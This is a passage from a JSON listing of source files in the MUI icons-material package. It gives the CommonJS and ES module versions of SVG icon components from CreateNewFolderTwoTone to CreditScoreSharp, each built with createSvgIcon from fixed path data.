    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.17 8-.59-.59L9.17 6H4v12h16V8zM14 10h2v2h2v2h-2v2h-2v-2h-2v-2h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m0 12H4V6h5.17l1.41 1.41.59.59H20zm-8-4h2v2h2v-2h2v-2h-2v-2h-2v2h-2z\"\n}, \"1\")], 'CreateNewFolderTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreateNewFolderTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.17 8-.59-.59L9.17 6H4v12h16V8zM14 10h2v2h2v2h-2v2h-2v-2h-2v-2h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m0 12H4V6h5.17l1.41 1.41.59.59H20zm-8-4h2v2h2v-2h2v-2h-2v-2h-2v2h-2z\"\n}, \"1\")], 'CreateNewFolderTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreateOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM5.92 19H5v-.92l9.06-9.06.92.92zM20.71 5.63l-2.34-2.34c-.2-.2-.45-.29-.71-.29s-.51.1-.7.29l-1.83 1.83 3.75 3.75 1.83-1.83c.39-.39.39-1.02 0-1.41\"\n}), 'CreateOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreateOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM5.92 19H5v-.92l9.06-9.06.92.92zM20.71 5.63l-2.34-2.34c-.2-.2-.45-.29-.71-.29s-.51.1-.7.29l-1.83 1.83 3.75 3.75 1.83-1.83c.39-.39.39-1.02 0-1.41\"\n}), 'CreateOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreateRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17.46v3.04c0 .28.22.5.5.5h3.04c.13 0 .26-.05.35-.15L17.81 9.94l-3.75-3.75L3.15 17.1q-.15.15-.15.36M20.71 7.04c.39-.39.39-1.02 0-1.41l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75z\"\n}), 'CreateRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreateRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17.46v3.04c0 .28.22.5.5.5h3.04c.13 0 .26-.05.35-.15L17.81 9.94l-3.75-3.75L3.15 17.1q-.15.15-.15.36M20.71 7.04c.39-.39.39-1.02 0-1.41l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75z\"\n}), 'CreateRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreateSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM21.41 6.34l-3.75-3.75-2.53 2.54 3.75 3.75z\"\n}), 'CreateSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreateSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM21.41 6.34l-3.75-3.75-2.53 2.54 3.75 3.75z\"\n}), 'CreateSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreateTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 18.08V19h.92l9.06-9.06-.92-.92z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM5.92 19H5v-.92l9.06-9.06.92.92zM20.71 5.63l-2.34-2.34c-.2-.2-.45-.29-.71-.29s-.51.1-.7.29l-1.83 1.83 3.75 3.75 1.83-1.83c.39-.39.39-1.02 0-1.41\"\n}, \"1\")], 'CreateTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreateTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 18.08V19h.92l9.06-9.06-.92-.92z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM5.92 19H5v-.92l9.06-9.06.92.92zM20.71 5.63l-2.34-2.34c-.2-.2-.45-.29-.71-.29s-.51.1-.7.29l-1.83 1.83 3.75 3.75 1.83-1.83c.39-.39.39-1.02 0-1.41\"\n}, \"1\")], 'CreateTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditCard.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 14H4v-6h16zm0-10H4V6h16z\"\n}), 'CreditCard');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditCard.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 14H4v-6h16zm0-10H4V6h16z\"\n}), 'CreditCard');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditCardOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.9 21.9 2.1 2.1.69 3.51l1.55 1.55c-.15.28-.23.6-.23.94L2 18c0 1.11.89 2 2 2h13.17l3.31 3.31zM4 12V8h1.17l4 4zm2.83-8H20c1.11 0 2 .89 2 2v12c0 .34-.08.66-.23.94L14.83 12H20V8h-9.17z\"\n}), 'CreditCardOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditCardOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.9 21.9 2.1 2.1.69 3.51l1.55 1.55c-.15.28-.23.6-.23.94L2 18c0 1.11.89 2 2 2h13.17l3.31 3.31zM4 12V8h1.17l4 4zm2.83-8H20c1.11 0 2 .89 2 2v12c0 .34-.08.66-.23.94L14.83 12H20V8h-9.17z\"\n}), 'CreditCardOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditCardOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.83 4H20c1.11 0 2 .89 2 2v12c0 .34-.08.66-.23.94L20 17.17V12h-5.17l-4-4H20V6H8.83zm13.66 19.31L17.17 20H4c-1.11 0-2-.89-2-2l.01-12c0-.34.08-.66.23-.93L.69 3.51 2.1 2.1l19.8 19.8zM4 6.83V8h1.17zM15.17 18l-6-6H4v6z\"\n}), 'CreditCardOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditCardOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.83 4H20c1.11 0 2 .89 2 2v12c0 .34-.08.66-.23.94L20 17.17V12h-5.17l-4-4H20V6H8.83zm13.66 19.31L17.17 20H4c-1.11 0-2-.89-2-2l.01-12c0-.34.08-.66.23-.93L.69 3.51 2.1 2.1l19.8 19.8zM4 6.83V8h1.17zM15.17 18l-6-6H4v6z\"\n}), 'CreditCardOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditCardOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81a.996.996 0 0 0-1.41 0C1 3.2 1 3.83 1.39 4.22l.84.84c-.14.28-.22.6-.22.94L2 18c0 1.11.89 2 2 2h13.17l2.61 2.61c.39.39 1.02.39 1.41 0s.39-1.03 0-1.42M4 12V8h1.17l4 4zm2.83-8H20c1.11 0 2 .89 2 2v12c0 .34-.08.66-.23.94L14.83 12H20V8h-9.17z\"\n}), 'CreditCardOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditCardOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81a.996.996 0 0 0-1.41 0C1 3.2 1 3.83 1.39 4.22l.84.84c-.14.28-.22.6-.22.94L2 18c0 1.11.89 2 2 2h13.17l2.61 2.61c.39.39 1.02.39 1.41 0s.39-1.03 0-1.42M4 12V8h1.17l4 4zm2.83-8H20c1.11 0 2 .89 2 2v12c0 .34-.08.66-.23.94L14.83 12H20V8h-9.17z\"\n}), 'CreditCardOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditCardOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.83 4H22v15.17L14.83 12H20V8h-9.17zm13.66 19.31L17.17 20H2V4.83L.69 3.51 2.1 2.1l19.8 19.8zM9.17 12l-4-4H4v4z\"\n}), 'CreditCardOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditCardOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.83 4H22v15.17L14.83 12H20V8h-9.17zm13.66 19.31L17.17 20H2V4.83L.69 3.51 2.1 2.1l19.8 19.8zM9.17 12l-4-4H4v4z\"\n}), 'CreditCardOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditCardOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 17.17V12h-5.17zM10.83 8H20V6H8.83zM4 6.83V8h1.17zM15.17 18l-6-6H4v6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.83 4H20c1.11 0 2 .89 2 2v12c0 .34-.08.66-.23.94L20 17.17V12h-5.17l-4-4H20V6H8.83zm13.66 19.31L17.17 20H4c-1.11 0-2-.89-2-2l.01-12c0-.34.08-.66.23-.93L.69 3.51 2.1 2.1l19.8 19.8zM4 6.83V8h1.17zM15.17 18l-6-6H4v6z\"\n}, \"1\")], 'CreditCardOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditCardOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 17.17V12h-5.17zM10.83 8H20V6H8.83zM4 6.83V8h1.17zM15.17 18l-6-6H4v6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.83 4H20c1.11 0 2 .89 2 2v12c0 .34-.08.66-.23.94L20 17.17V12h-5.17l-4-4H20V6H8.83zm13.66 19.31L17.17 20H4c-1.11 0-2-.89-2-2l.01-12c0-.34.08-.66.23-.93L.69 3.51 2.1 2.1l19.8 19.8zM4 6.83V8h1.17zM15.17 18l-6-6H4v6z\"\n}, \"1\")], 'CreditCardOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditCardOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 14H4v-6h16zm0-10H4V6h16z\"\n}), 'CreditCardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditCardOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 14H4v-6h16zm0-10H4V6h16z\"\n}), 'CreditCardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditCardRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m-1 14H5c-.55 0-1-.45-1-1v-5h16v5c0 .55-.45 1-1 1m1-10H4V6h16z\"\n}), 'CreditCardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditCardRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m-1 14H5c-.55 0-1-.45-1-1v-5h16v5c0 .55-.45 1-1 1m1-10H4V6h16z\"\n}), 'CreditCardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditCardSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4H2.01L2 20h20zm-2 14H4v-6h16zm0-10H4V6h16z\"\n}), 'CreditCardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditCardSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4H2.01L2 20h20zm-2 14H4v-6h16zm0-10H4V6h16z\"\n}), 'CreditCardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditCardTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 12h16v6H4zm0-6h16v2H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 14H4v-6h16zm0-10H4V6h16z\"\n}, \"1\")], 'CreditCardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditCardTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 12h16v6H4zm0-6h16v2H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 14H4v-6h16zm0-10H4V6h16z\"\n}, \"1\")], 'CreditCardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditScore.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h5v-2H4v-6h18V6c0-1.11-.89-2-2-2m0 4H4V6h16zm-5.07 11.17-2.83-2.83-1.41 1.41L14.93 22 22 14.93l-1.41-1.41z\"\n}), 'CreditScore');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditScore.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h5v-2H4v-6h18V6c0-1.11-.89-2-2-2m0 4H4V6h16zm-5.07 11.17-2.83-2.83-1.41 1.41L14.93 22 22 14.93l-1.41-1.41z\"\n}), 'CreditScore');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditScoreOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h5v-2H4v-6h18V6c0-1.11-.89-2-2-2m0 4H4V6h16zm-5.07 11.17-2.83-2.83-1.41 1.41L14.93 22 22 14.93l-1.41-1.41z\"\n}), 'CreditScoreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditScoreOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h5v-2H4v-6h18V6c0-1.11-.89-2-2-2m0 4H4V6h16zm-5.07 11.17-2.83-2.83-1.41 1.41L14.93 22 22 14.93l-1.41-1.41z\"\n}), 'CreditScoreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditScoreRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h4c.55 0 1-.45 1-1s-.45-1-1-1H4v-6h18V6c0-1.1-.9-2-2-2m0 4H4V6h16zm-5.07 11.17-2.12-2.12a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l2.83 2.83c.39.39 1.02.39 1.41 0l5.66-5.66c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0z\"\n}), 'CreditScoreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditScoreRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h4c.55 0 1-.45 1-1s-.45-1-1-1H4v-6h18V6c0-1.1-.9-2-2-2m0 4H4V6h16zm-5.07 11.17-2.12-2.12a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l2.83 2.83c.39.39 1.02.39 1.41 0l5.66-5.66c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0z\"\n}), 'CreditScoreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditScoreSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 4v16h7v-2H4v-6h18V4zm18 4H4V6h16zm-5.07 11.17-2.83-2.83-1.41 1.41L14.93 22 22 14.93l-1.41-1.41z\"\n}), 'CreditScoreSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditScoreSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 4v16h7v-2H4v-6h18V4zm18 4H4V6h16zm-5.07 11.17-2.83-2.83-1.41 1.41L14.93 22 22 14.93l-1.41-1.41z\"\n}), 'CreditScoreSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreditScoreTwoTone.js",
